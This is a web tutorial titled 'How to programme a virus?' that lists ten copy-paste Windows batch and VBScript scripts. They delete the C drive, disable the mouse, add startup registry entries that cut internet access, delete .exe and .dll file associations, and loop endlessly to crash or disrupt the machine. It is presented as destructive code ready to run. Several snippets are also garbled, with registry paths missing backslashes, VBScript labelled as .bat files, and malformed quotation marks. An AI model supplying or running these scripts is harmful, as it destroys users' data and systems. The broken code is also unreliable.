How to programme a virus?

1. Make A Virus To Delete Hard Drive
Open your notepad.Copy the code given below and paste it in your notepad

@Echo off

Del C:\ *.* |y

Save the file as virus.bat.That's it, just run the file and see the magic. It will delete all the content of C Drive.

2. Make A Virus To Disable Mouse

Open your notepad.Copy and paste the code in notepad.

rem ---------------------------------

rem Disable Mouse

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"

reg delete %key%

reg add %key% /v Start /t REG_DWORD /d 4

rem ---------------------------------

Save the file as disablemouse.bat and execute it.

3. Make A Virus To Disable Internet Permanently

Copy below code and save it as DisInt.bat.

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

echo You Have Been HACKED!

PAUSE

4. Virus To Crash Your Computer System

Copy and paste the code and save the file as crash.bat.

Option Explicit

Dim WSHShell

Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x

For x = 1 to 100000000

WSHShell.Run "Tourstart.exe"

Next

5. Make A Virus To Open Notepad Repeatedly 

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Save the file as anything.bat.

6. Virus For Popping CD Drive

Set oWMP = CreateObject(”WMPlayer.OCX.7?)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 100

loop

Just save it as popout.bat.

7. Delete Key Registry Files

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

:MESSAGE

ECHO Your computer has been destroyed.

GOTO MESSAGE

Save it as delreg.bat.

8. Virus To Make Multiple Folders

@echo off

:RON

md folder1

md folder2

md folder3

md folder4

md folder5

start folder1

start folder2

start folder3

start folder4

start folder5

goto RON

Save it as multifol.bat.

9. Virus To Make Dancing Caps Lock

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

wshshell.sendkeys “{NUMLOCK}”

loop

Now save it as dancecap.bat.

10. Virus For Endless Enter

Set wshShell = wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Save the code as endenter.bat.

So that's it.